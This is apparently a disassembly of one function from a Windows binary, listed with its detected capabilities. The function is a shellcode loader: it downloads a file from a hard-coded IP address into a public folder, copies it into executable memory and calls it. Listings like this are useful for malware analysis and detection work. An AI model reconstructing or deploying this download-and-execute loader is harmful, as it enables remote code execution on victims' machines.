Function at 0x140001220
Capabilities:
Allocate or change rwx memory
Download url
Execute shellcode via indirect call
Get file size
Read file on windows
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x50
lea r8, str.C:UsersPublicDownloadsconfig.ini
lea rdx, str.http:__8.138.14.171_123.conf
xor ebx, ebx
xor r9d, r9d
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
je 0x1400012c0
lea rcx, str.Failed_to_download_shellcode
call fcn.1400017b0
mov dl, 0xa
mov rcx, rax
mov rdi, rax
call fcn.140001500
mov rcx, qword [rdi]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rdi + 0x10], 6
jne 0x14000128b
mov rcx, qword [rcx + rdi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
mov ecx, 4
cmp eax, 0xffffffff
cmove ebx, ecx
mov rax, qword [rdi]
movsxd rcx, dword [rax + 4]
add rcx, rdi
test ebx, ebx
je 0x1400012b0
mov edx, dword [rcx + 0x10]
or edx, ebx
cmp qword [rcx + 0x48], 0
jne 0x1400012a8
or edx, 4
xor r8d, r8d
call fcn.140001040
mov eax, 1
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
mov qword [rsp + 0x30], rbx
lea rcx, str.C:UsersPublicDownloadsconfig.ini
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001302
lea rcx, str.Failed_to_open_shellcode_file
jmp 0x140001255
xor edx, edx
mov rcx, rax
mov qword [rsp + 0x60], rbp
mov qword [rsp + 0x68], rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebp, eax
cmp eax, 0xffffffff
jne 0x140001393
lea rcx, str.Failed_to_get_file_size
call fcn.1400017b0
mov dl, 0xa
mov rcx, rax
mov rsi, rax
call fcn.140001500
mov rcx, qword [rsi]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rsi + 0x10], 6
jne 0x14000135b
mov rcx, qword [rcx + rsi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
mov ecx, 4
cmp eax, 0xffffffff
cmove ebx, ecx
mov rax, qword [rsi]
movsxd rcx, dword [rax + 4]
add rcx, rsi
test ebx, ebx
je 0x140001380
mov edx, dword [rcx + 0x10]
or edx, ebx
cmp qword [rcx + 0x48], 0
jne 0x140001378
or edx, 4
xor r8d, r8d
call fcn.140001040
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400014e9
xor ecx, ecx
mov rdx, rbp
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x140001425
lea rcx, str.Failed_to_allocate_memory_for_shellcode
call fcn.1400017b0
mov dl, 0xa
mov rcx, rax
mov rsi, rax
call fcn.140001500
mov rcx, qword [rsi]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rsi + 0x10], 6
jne 0x1400013ed
mov rcx, qword [rcx + rsi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
mov ecx, 4
cmp eax, 0xffffffff
cmove ebx, ecx
mov rax, qword [rsi]
movsxd rcx, dword [rax + 4]
add rcx, rsi
test ebx, ebx
je 0x140001412
mov edx, dword [rcx + 0x10]
or edx, ebx
cmp qword [rcx + 0x48], 0
jne 0x14000140a
or edx, 4
xor r8d, r8d
call fcn.140001040
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400014e9
lea r9, [rsp + 0x40]
mov r8d, ebp
mov rdx, rax
mov rcx, rdi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1400014cb
lea rcx, str.Failed_to_read_shellcode_from_file
call fcn.1400017b0
mov dl, 0xa
mov rcx, rax
mov rbp, rax
call fcn.140001500
mov rcx, qword [rbp]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rbp + 0x10], 6
jne 0x140001484
mov rcx, qword [rcx + rbp + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
mov ecx, 4
cmp eax, 0xffffffff
cmove ebx, ecx
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
add rcx, rbp
test ebx, ebx
je 0x1400014aa
mov edx, dword [rcx + 0x10]
or edx, ebx
cmp qword [rcx + 0x48], 0
jne 0x1400014a2
or edx, 4
xor r8d, r8d
call fcn.140001040
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 1
jmp 0x1400014e9
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call rsi
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret